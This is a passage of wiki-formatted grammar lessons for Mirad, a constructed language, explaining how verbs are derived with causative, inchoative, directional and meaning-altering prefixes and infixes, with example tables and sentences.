:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
